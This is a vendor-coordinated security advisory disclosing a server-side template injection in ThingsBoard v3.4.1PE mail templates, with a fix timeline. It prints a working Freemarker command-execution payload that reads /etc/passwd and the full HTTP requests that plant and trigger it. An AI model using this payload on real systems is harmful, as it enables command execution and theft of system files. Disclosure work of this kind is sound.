usd-2023-0010 | SSTI in ThingsBoard v.3.4.1PE

Advisory ID: usd-2023-0010
Product: ThingsBoard UI
Affected Version: v.3.4.1PE
Vulnerability Type: SSTI
Security Risk: High (CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H)
Vendor URL: https://thingsboard.io/
Vendor Status: Fixed
CVE number: Pending
CVE Link: Pending
Last Update: 2023-08-29

Desciption

ThingsBoard is an open-source IoT platform for data collection, processing, visualization, and device management.
During an assessment a server-side template injection (SSTI) vulnerability was discovered.
Thingsboard uses templates in the automated generation of mail content.
The structure of the document is specified by a template into which the data is inserted dynamically.
Many template languages have additional features, such as performing calculations, processing logical operations directly in the template, or even executing operating system commands.

If templates can be dynamically created and modified by attackers, this poses a high risk to the confidentiality and integrity of the application.
Thingsboards UI uses Apache Freemarker which is considered as turing-complete and allows executing commands on the system level.

Proof of Concept

It was discovered that users with permissions to modify the email templates are able to execute arbitrary commands on the underlying system.
A user needs to modify the default templates and inject a template variable which executes a command. After sending the email the command is executed and the output is embedded into the mail.

As shown at https://portswigger.net/research/server-side-template-injection an Apache Freemarker command execution is possible.
To execute whoami the following content must be inserted into the template: <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("whoami)}.
In the section White Labeling => Mail Templates the existing mail templates can be modified.
The following listing shows the request with the modified mail body.

POST /api/admin/settings HTTP/1.1
Host: thingsboard.local
Cookie: [SESSION_COOKIE]
Content-Length: 34715
Content-Type: application/json
X-Authorization: Bearer [JWT]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Connection: close

{
  "id": null,
  "createdTime": 0,
  "tenantId": {
    "entityType": "TENANT",
    "id": "43ee4ed0-ccf0-11ea-8c84-731415dbf7ca"
  },
  "key": "mailTemplates",
  "jsonValue": {
    "test": {
      "subject": "Test message from ThingsBoard",
      "body": "<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"cat /etc/passwd\")}<table class=\"main\" style=\"font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; box-sizing: border-box; border-radius: 3px; width: 100%; background-color: #f6f6f6; margin: 0px auto;\" cellspacing=\"0\" cellpadding=\"0\" bgcolor=\"#f6f6f6\">\n<tbody>\n<tr style=\"box-sizing: border-box; margin: 0px;\">\n<td class=\"content-wrap\" style=\"box-sizing: border-box; vertical-align: top; margin: 0px; padding: 20px;\" align=\"center\" valign=\"top\">\n<table style=\"box-sizing: border-box; border: solid 1px #e9e9e9; border-radius: 3px; margin: 0px; height: 127px; padding: 20px; background-color: #ffffff; width: 600px; max-width: 600px !important;\" width=\"600\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr style=\"box-sizing: border-box; margin: 0px;\">\n<td class=\"content-block\" style=\"color: #348eda; box-sizing: border-box; border-radius: 6px; vertical-align: top; margin: 0px; padding: 0px 0px 20px; width: 839px;\" valign=\"top\">\n<h2>Test message from ThingsBoard</h2>\n</td>\n</tr>\n<tr style=\"box-sizing: border-box; margin: 0px;\">\n<td class=\"content-block\" style=\"box-sizing: border-box; vertical-align: top; margin: 0px; padding: 0px 0px 20px; width: 600px;\" valign=\"top\">\n<p><span style=\"color: #000000;\">This email is indicating that your outgoing mail settings were set up correctly.&nbsp;</span></p>\n<p>&nbsp;</p>\n</td>\n</tr>\n<tr style=\"box-sizing: border-box; margin: 0px;\">\n<td class=\"content-block\" style=\"box-sizing: border-box; vertical-align: top; margin: 0px; padding: 0px 0px 20px; width: 600px;\" valign=\"top\"><span style=\"color: #000000;\">&mdash; The ThingsBoard</span></td>\n</tr>\n</tbody>\n</table>\n</td>\n</tr>\n</tbody>\n</table>\n<table style=\"color: #999999; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; box-sizing: border-box; margin: 0px auto; height: 64px; background-color: #f6f6f6; width: 100%;\" cellpadding=\"0px 0px 20px\">\n<tbody>\n<tr style=\"box-sizing: border-box; margin: 0px;\">\n<td class=\"aligncenter content-block\" style=\"box-sizing: border-box; font-size: 12px; margin: 0px; padding: 0px 0px 20px; width: 600px; text-align: center; vertical-align: middle;\" align=\"center\" valign=\"top\">This email was sent to&nbsp;<a style=\"box-sizing: border-box; color: #999999; margin: 0px;\" href=\"mailto:${targetEmail}\">${targetEmail}</a>&nbsp;by ThingsBoard.</td>\n</tr>\n</tbody>\n</table>"
    },
[...]

After the template was modified and the template injection payload was inserted in the first line of the body, it is nececassary to trigger the mail content creation.
The modified template was used for test messages.
A test message can be sent by performing the following request.

POST /api/admin/settings/testMail HTTP/1.1
Host: thingsboard.local
Cookie: [SESSION_COOKIE]
Content-Length: 397
Content-Type: application/json
X-Authorization: Bearer [JWT]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Connection: close

{"id":null,"createdTime":0,"tenantId":null,"key":"mail","jsonValue":{"useSystemMailSettings":false,"mailFrom":"localhost","smtpProtocol":"smtp","smtpHost":"localhost","smtpPort":"25","timeout":"10000","enableTls":false,"tlsVersion":null,"enableProxy":null,"proxyHost":null,"proxyPort":null,"proxyUser":null,"proxyPassword":null,"username":null}}

The mail address of the authenticated user receives a mail afterwards.
In the mail body the first line of the body contains the content of the /etc/passwd proofing that command execution is possible.

Fix

It is recommended to define templates statically wherever possible.
If templates are generated dynamically based on user input, it must be ensured that attackers cannot inject any template commands or meta characters.
For this purpose, user input should be masked before it is inserted into the template.
It is also recommended to use templating engines that are not touring complete to separate the template engine and underlying system.

References

https://portswigger.net/research/server-side-template-injection

Timeline

  • 2023-04-20: First contact request via contact form
  • 2023-04-20: Fix was announced for upcoming 3.5 release
  • 2023-05-11: ThingsBoard 3.5 was released

Credits

This security vulnerability was identified by Gerbert Roitburd of usd AG.